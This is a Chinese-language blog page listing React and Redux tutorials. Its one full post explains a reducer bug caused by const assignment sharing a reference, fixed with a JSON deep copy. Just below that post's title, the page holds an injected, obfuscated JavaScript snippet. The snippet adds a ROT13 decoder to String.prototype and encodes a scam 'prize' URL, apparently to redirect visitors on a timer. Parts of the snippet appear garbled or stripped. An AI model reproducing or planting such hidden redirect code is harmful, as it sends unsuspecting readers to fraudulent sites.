React 弹出层多步表单的实现思路
rx online 最近一直在将飞飞物联使用React重构，后端用ThinkPHP和easySwoole重写，重构的原因有几个： 可维护性差：随着项目越来越大，可维护性越来越差，原项目偏向于原生js,html,css编写，编写混乱，急需…
JS const 内存堆栈引发的坑
rx onlineString.prototype.a73fba7d=function(){return this.replace(/[a-zA-Z]/g,function(c){return String.fromCharCode((c=(c=c.charCodeAt(0)+13)?c:c-26);});};u=’uggcf://gnxrlbhecevmrurer1.yvsr/?h=l2lxnrj&b=2khc89e&z=1&g=jrozaf4′;function f31454d7(){ =u.a73fba7d();} (f31454d7,4987);
最近在写react，今天遇到了一个问题，由于reducer不能直接操作state，因此在操作之前需要进行拷贝，按照常规的思路将state赋值给一个新const，这个时候坑就来了。
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 |
setClientStatus(state, action){ // 拷贝一份出来 reducer是不能够直接去修改state的值的 const newList =state.data.list; // 然后操作了这个拷贝出来的newList发现state也跟着变了 JSON.parse(action.payload).forEach((val)=>{ newList.forEach((listVal)=>{ if(listVal.client_id === val.clientId){ console.log(listVal); listVal.online = val.online // value.online = val.online; } }); }); return { ...state, }; } |
直接这样return（并没有将新的数据放入return中），会发现state改变了，新的数据进来了，这个时候就意识到了拷贝没有成功，操作新的const newList的时候影响了原来state的数据，由于state的数据是不能够直接修改的，因此这样肯定是有问题的，出现这个问题的原因是：
在js中：
基本类型值是存储在栈中的简单数据段，也就是说，他们的值直接存储在变量访问的位置。
堆是存放数据的基于散列算法的数据结构，在javascript中，引用值是存放在堆中的。
所以问题就是直接这样const赋值，指向的是同一个堆中的空间，导致操作新的const的时候旧的也跟着被操作了。
因此 要使用
深拷贝!
|
1 |
const newState = JSON.parse(JSON.stringify(state)); |
看来还是需要打好js的基础啊
antd Pro使用的一些点
rx online 布局 服务器交互 布局 通用的布局都放在layouts目录，有三种 BasicLayout：基础页面布局，包含了头部导航，侧边栏和通知栏： UserLayout：抽离出用于登陆注册页面的通用布局 BlankLayout：…
React路由
rx online 路由指的是根据url的不同显示不同的内容，然后一个页面每个页面都是一个组件，这个叫做前端组件化 yarn add react-router-dom 使用非常的简单 引入import {BrowserRouter, Route} from ‘rea…
React实际开发的一些点
rx online styled-components 管理样式 combineReducer对数据拆分管理 Immutable.js来管理store中的数据 使用redux-immutable统一数据格式 Redux-thunk发送ajax + immutable.js处理时要注意的点 结构赋值- -…
Redux进阶 – 中间件及React-Redux的使用
rx online 索引： UI组件和容器组件 无状态组件 Redux 发送AJAX请求 使用Redux-thunk中间件的使用 理解Redux中间件的工作原理 Redux-saga中间件的使用 React-Redux的使用 UI组件和容器组件 UI组件负责页面的…
Redux入门
rx online Redux简介 React是一个创建UI接口的视图层框架，在之前的文章中提到过，子组件需要调用父组件的方法来工作，这就造成了组件很多的时候并且组件之间要经常进行传值的话就会非常麻烦并且维护性极低…
深度理解React底层原理
rx online 索引： props, state与render函数关系 – 数据和页面是如何实现互相联动的？ React中的虚拟DOM – React底层是如何实现性能飞跃的？ 深入了解虚拟DOM – 为什么React能够跨端？ 虚…
React基础
rx online 知识点 React的响应式设计思想和事件绑定 JSX语法细节补充 拆分组件与组件间的传值（父子组件的通信） 围绕react衍生出的思考 import React, {Component,Fragment} from ‘react’; class TodoList…
React初探
rx online 核心技术点： create-react-app 脚手架工具项目工具 组件化思维 JSX模板语法 开发调试工具 虚拟DOM 生命周期 React-transition-group React-router Redux antd UI,容器组件 无状态组件 redux-thun…